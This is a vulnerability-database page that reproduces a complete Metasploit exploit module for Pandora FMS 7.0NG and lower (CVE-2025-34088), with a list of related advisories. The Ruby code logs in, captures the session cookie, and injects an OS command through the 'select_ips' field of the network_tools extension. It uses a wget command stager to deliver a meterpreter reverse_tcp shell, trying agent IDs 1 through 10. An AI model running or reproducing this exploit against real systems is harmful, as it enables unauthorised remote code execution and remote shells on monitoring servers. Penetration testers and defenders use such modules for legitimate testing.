Lucene search
+L

Pandora FMS Ping Authenticated Remote Code Execution

🗓️ 09 Mar 2020 00:00:00Reported by Onur ER <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 33 Views

Pandora FMS Ping Authenticated Remote Code Execution vulnerability in Pandora FMS 7.0NG and lowe

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2025-34088
7 Apr 202022:03
circl
cnnvd
CNNVD
Pandora FMS 安全漏洞
3 Jul 202500:00
cnnvd
cve
CVE
CVE-2025-34088
3 Jul 202519:46
cve
cvelist
Cvelist
CVE-2025-34088 Pandora FMS Authenticated Remote Code Execution via Ping Module
3 Jul 202519:46
cvelist
euvd
EUVD
EUVD-2025-19903
3 Oct 202520:07
euvd
nvd
NVD
CVE-2025-34088
3 Jul 202520:15
nvd
osv
OSV
CVE-2025-34088
3 Jul 202520:15
osv
ptsecurity
Positive Technologies
PT-2025-27828 · Unknown · Pandora Fms
3 Jul 202500:00
ptsecurity
redhatcve
RedhatCVE
CVE-2025-34088
5 Jul 202520:04
redhatcve
vulnrichment
Vulnrichment
CVE-2025-34088 Pandora FMS Authenticated Remote Code Execution via Ping Module
3 Jul 202519:46
vulnrichment
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pandora FMS Ping Authenticated Remote Code Execution',
        'Description' => %q{
          This module exploits a vulnerability found in Pandora FMS 7.0NG and lower.
          net_tools.php in Pandora FMS 7.0NG allows remote attackers to execute arbitrary OS commands.
        },
        'Author' => [
          'Onur ER <[email protected]>' # Vulnerability discovery and Metasploit module
        ],
        'DisclosureDate' => '2020-03-09',
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          ['Automatic Target', {}]
        ],
        'DefaultOptions' => {
          'Payload' => 'linux/x86/meterpreter/reverse_tcp'
        },
        'DefaultTarget' => 0,
        'References' => [
          [ 'CVE', '2025-34088' ]
        ],
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI of the vulnerable Pandora FMS instance', '/pandora_console/']),
        OptString.new('USERNAME', [true, 'The username to authenticate with']),
        OptString.new('PASSWORD', [true, 'The password to authenticate with'])
      ]
    )
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri, 'index.php')
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown('Could not determine the target status')
    end

    unless res.body =~ /Pandora/i
      return CheckCode::Safe('The target is not vulnerable')
    end

    pandora_version = res.body.scan(%r{<div id="ver_num">v(.*?)</div>}).flatten.first
    version = Rex::Version.new(pandora_version)

    print_status("Pandora FMS version #{version}") if version

    if Rex::Version.new(version) <= Rex::Version.new('7.0NG')
      return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable")
    end

    CheckCode::Detected("Target detected: version #{version}")
  end

  def authenticate
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, 'index.php'),
      'vars_get' => {
        'login' => '1'
      },
      'vars_post' => {
        'nick' => datastore['USERNAME'],
        'pass' => datastore['PASSWORD'],
        'login_button' => 'Login'
      }
    })

    return auth_succeeded?(res)
  end

  def auth_succeeded?(res)
    unless res && res.code == 200 && res.body.include?('Welcome to Pandora FMS')
      print_error('Authentication failed!')
      return false
    end
    print_good('Successfully authenticated')
    print_status('Attempting to retrieve session cookie')
    @cookie = res.get_cookies
    unless @cookie.include?('PHPSESSID')
      print_error('Error retrieving cookie!')
      return false
    end
    print_good("Successfully retrieved session cookie: #{@cookie}")
    true
  end

  def exploit
    print_status('Exploiting...')
    execute_cmdstager(flavor: :wget, nospace: true)
  end

  def execute_command(cmd, _opts = {})
    print_status("Attempting to authenticate using (#{datastore['USERNAME']}:#{datastore['PASSWORD']})")
    auth = authenticate
    unless auth
      fail_with Failure::NoAccess, 'Please provide a valid username and password.'
    end

    id_agente = 1
    while !session_created? && id_agente <= 10
      send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri, 'index.php'),
        'cookie' => @cookie,
        'vars_get' => {
          'sec' => 'estado',
          'sec2' => 'operation/agentes/ver_agente',
          'tab' => 'extension',
          'id_agente' => id_agente.to_s,
          'id_extension' => 'network_tools'
        },
        'vars_post' => {
          'operation' => '2',
          'select_ips' => ";#{cmd}",
          'community' => 'public',
          'submit' => 'Execute'
        }
      })

      id_agente += 1
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation